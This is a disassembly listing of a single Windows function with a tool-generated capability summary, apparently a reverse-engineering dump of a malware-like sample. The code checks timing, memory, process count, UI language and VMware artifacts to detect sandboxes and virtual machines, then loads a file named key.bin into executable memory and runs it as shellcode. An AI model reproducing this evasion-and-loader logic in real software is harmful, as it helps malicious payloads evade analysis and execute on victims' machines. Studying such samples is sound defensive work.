Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Identify system language via api
Read file on windows
Terminate process

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x550
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x540], rax
call section..text
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
movabs rsi, 0xb2f4fc0794908cf3
mov rcx, rax
cmp rbx, 0x989680
jne 0x14000122d
imul rbx, rcx, 0x64
jmp 0x1400012a1
cmp rbx, 0x16e3600
jne 0x140001280
mov rax, rsi
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, rsi
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rbx, [rcx + rdx]
sar rbx, 0x18
mov rax, rbx
shr rax, 0x3f
add rbx, rax
imul rax, r8, 0x3b9aca00
jmp 0x14000129e
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x28], 0x64
call fcn.1400017a0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r9, rax
cmp rdi, 0x989680
jne 0x1400012d5
imul rax, r9, 0x64
jmp 0x140001346
cmp rdi, 0x16e3600
jne 0x140001328
mov rax, rsi
imul r9
mov rax, rsi
lea r8, [r9 + rdx]
sar r8, 0x18
mov rcx, r8
shr rcx, 0x3f
add r8, rcx
imul rcx, r8, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
imul rcx
lea rax, [rcx + rdx]
sar rax, 0x18
mov rcx, rax
shr rcx, 0x3f
add rax, rcx
imul rcx, r8, 0x3b9aca00
jmp 0x140001343
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.This_program_may_be_running_in_a_sandbox_
sub rax, rbx
cmp rax, 0x5f5e100
jl 0x140001366
lea rdx, str.This_program_is_not_running_in_a_sandbox.
call fcn.1400019f0
lea rdx, [0x140001bc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x1400013b7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_system_memory_status.
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400013dd
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x84]
xor edx, edx
mov rax, qword [rsp + 0x58]
div rcx
cmp eax, 0x3d0900
jge 0x140001420
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400035d8]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.140001c80
add rsp, 0x550
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov esi, eax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000149b
xor edx, edx
mov dword [rsp + 0x2f0], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x2f4]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x2f0]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000148f
lea rdx, [rsp + 0x2f0]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001473
cmp ebx, 0x3c
jg 0x14000149b
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x140001786
lea r8, [rsp + 0x28]
mov rcx, 0xffffffff80000000
lea rdx, str.ApplicationsVMwareHostOpen.exe
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140001786
lea rdx, [rsp + 0x2f0]
lea rcx, str.C:Program_FilesVMwareVMware_ToolsVMToolsHook.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400014fa
cmp byte [rsp + 0x20], 0
jne 0x140001786
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001520
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0xb0]
mov dword [rsp + 0xb0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14000154a
lea ecx, [rax - 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x570], rbp
lea rdi, str.vmtoolsd.exe
mov qword [rsp + 0x578], r14
lea rbp, str.vmwaretrat.exe
mov qword [rsp + 0x580], r15
lea r14, str.vmwareuser.exe
lea r15, str.vmacthlp.exe
nop
lea rdx, [rsp + 0xdc]
mov rcx, 0xffffffffffffffff
nop
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x1400015b4
add rcx, 2
cmp rcx, 0xd
je 0x14000176e
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
je 0x140001590
lea rdx, [rsp + 0xdc]
mov rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rbp + rcx*2 + 2]
jne 0x1400015e8
add rcx, 2
cmp rcx, 0xf
je 0x14000176e
movzx eax, word [rdx + rcx*2]
cmp ax, word [rbp + rcx*2]
je 0x1400015c3
lea rdx, [rsp + 0xdc]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r14 + rcx*2 + 2]
jne 0x140001626
add rcx, 2
cmp rcx, 0xf
je 0x14000176e
movzx eax, word [rdx + rcx*2]
cmp ax, word [r14 + rcx*2]
je 0x140001600
lea rdx, [rsp + 0xdc]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r15 + rax*2 + 2]
jne 0x140001666
add rax, 2
cmp rax, 0xd
je 0x14000176e
movzx ecx, word [rdx + rax*2]
cmp cx, word [r15 + rax*2]
je 0x140001640
lea rdx, [rsp + 0xb0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001580
xor r8d, r8d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x927c0
jb 0x14000176e
mov r9d, 0x10
lea r8, [0x140003600]
lea rdx, [0x140003610]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [0x140003628]
lea rcx, str.key.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov rsi, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rsi
mov r8, rbx
mov rcx, rax
mov edx, 1
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001761
mov r14, qword [rsp + 0x578]
mov rbp, qword [rsp + 0x570]
mov r15, qword [rsp + 0x580]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3